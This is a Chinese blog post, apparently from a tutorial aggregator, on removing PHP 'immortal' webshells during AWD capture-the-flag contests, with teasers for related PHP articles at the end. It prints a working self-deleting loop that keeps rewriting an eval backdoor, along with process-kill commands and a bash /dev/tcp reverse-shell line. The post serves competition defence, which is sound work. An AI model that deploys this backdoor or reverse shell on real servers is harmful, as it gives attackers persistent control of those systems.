不死马php如何取证_干掉 PHP 不死马

2023-11-23 10:30
文章标签 php 干掉 取证 不死马

本文主要是介绍不死马php如何取证_干掉 PHP 不死马,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2ff34e647e2e3cdfd8dca593e17d9b0a.png

在 AWD 模式下经常碰到不死马, 不干掉的话就会一直被偷 flag, 很难受. 所以研究一下怎么干掉.

什么是不死马

先说一下什么是不死马, 比如这种1

2

3

4

5

6

7

8

9

10set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while (1) {

$content = "<?php error_reporting(0);if(sha1($_POST['pwd'])==='%pwd%'){eval($_POST['cmd']);}?>";

file_put_contents(".shell.php", $content);

usleep(10000);

}

?>

简单来说有以下特性:访问后删除自己

即使断开连接也不会停止

驻留在内存中定时做某些事情, 比如上面这种就是不停的写 webshell

根据行为也可以将不死马分为两种, 一种是 while(1) 不 sleep, 占用服务器资源, 卡机子, 还有一种是 sleep, 悄悄的留后门

如果不懂怎么干掉的话, 唯一的办法就是重启环境了, 而这在 AWD 中一般都是会倒扣不少分的…

接下来了解一下 php 主流的两种运行模式 php-fpm 与 php-apache 这两种,

php-fpm 适用于 nginx 和 apache 而 php-apache 自然是只能 apache 使用,

其中 fpm 的性能更好, 但是配置较为复杂(其实也不是很复杂 233), 在 AWD 我只遇见过 php-apache 这种 0.0

但是其实要干掉不死马, 步骤都差不多

干掉不死马

php-apache

在这种模式下, 会在 fork 的一个 apache 进程里面以低权限用户来处理 php, 如下图

b5d4494ea887642b62c7042ca75878c2.png

我们只要杀掉所以这些进程就行, 但在 AWD 中一般是没 root 权限的, 我们要干掉这些只能以低权限的身份来. 这里有两种办法给自己在 web 目录下写一个 php, 里面是1

2system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

如果觉得碰到不死马了就直接访问, 杀掉所有 httpd 进程, 因为权限不够, root 的不会被杀掉, 这个守护进程会自动再 fork 进程, 不用担心服务挂写个 php 给自己弹个 shell, 在 shell 里面 killall, 这个更方便一点, 也更灵活1

2system("bash -i >& /dev/tcp/127.0.0.1/23333 0>&1");

php-fpm

其实跟上面差不多, 只是进程名不同, 因为 fpm 是独立的服务, 不同于上面 apache 里面直接调用 php 的 api

e96755f1ec2b1c5499358252f76af890.png1

2system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");

这篇关于不死马php如何取证_干掉 PHP 不死马的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/417296

相关文章

PHP原理之内存管理中难懂的几个点

PHP的内存管理, 分为俩大部分, 第一部分是PHP自身的内存管理, 这部分主要的内容就是引用计数, 写时复制, 等等面向应用的层面的管理. 而第二部分就是今天我要介绍的, zend_alloc中描写的关于PHP自身的内存管理, 包括它是如何管理可用内存, 如何分配内存等. 另外, 为什么要写这个呢, 因为之前并没有任何资料来介绍PHP内存管理中使用的策略, 数据结构, 或者算法. 而在我们

php中json_decode()和json_encode()

1.json_decode() json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_decode — 对 JSON 格式的字符串进行编码 说明 mixed json_decode ( string $json [, bool $assoc ] ) 接受一个 JSON 格式的字符串并且把它转换为 PHP 变量 参数 json

如何将文件夹里的PHP代码放到一个文件里

find ./dir -name "*.php" -exec 'cat' {} \; > dir.out

PHP抓取网站图片脚本

方法一: <?phpheader("Content-type:image/jpeg"); class download_image{function read_url($str) { $file=fopen($str,"r");$result = ''; while(!feof($file)) { $result.=fgets($file,9999); } fclose($file); re

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Linux系统安装php开发环境

Linux系统centos6.5 PHP5.6 MySQL5.6 Nginx1.7 yum安装依赖库 yum install -y make cmake gcc gcc-c++ autoconf automake libpng-devel libjpeg-devel zlib libxml2-devel ncurses-devel bison \libtool-ltdl-devel li

PHP字符串全排列

方法一: $str = 'abc';$a =str_split($str);perm($a, 0, count($a)-1);function perm(&$ar, $k, $m) {if($k == $m){ echo join('',$ar), PHP_EOL;}else {for($i=$k; $i<=$m; $i++) {swap($ar[$k], $ar[$i]);perm($ar

PHP实现二叉树遍历(非递归方式,栈模拟实现)

二叉树定义是这样的:一棵非空的二叉树由根结点及左、右子树这三个基本部分组成,根据节点的访问位置不同有三种遍历方式: ① NLR:前序遍历(PreorderTraversal亦称(先序遍历)) ——访问结点的操作发生在遍历其左右子树之前。 ② LNR:中序遍历(InorderTraversal) ——访问结点的操作发生在遍历其左右子树之中(间)。 ③ LRN:后序遍历(PostorderT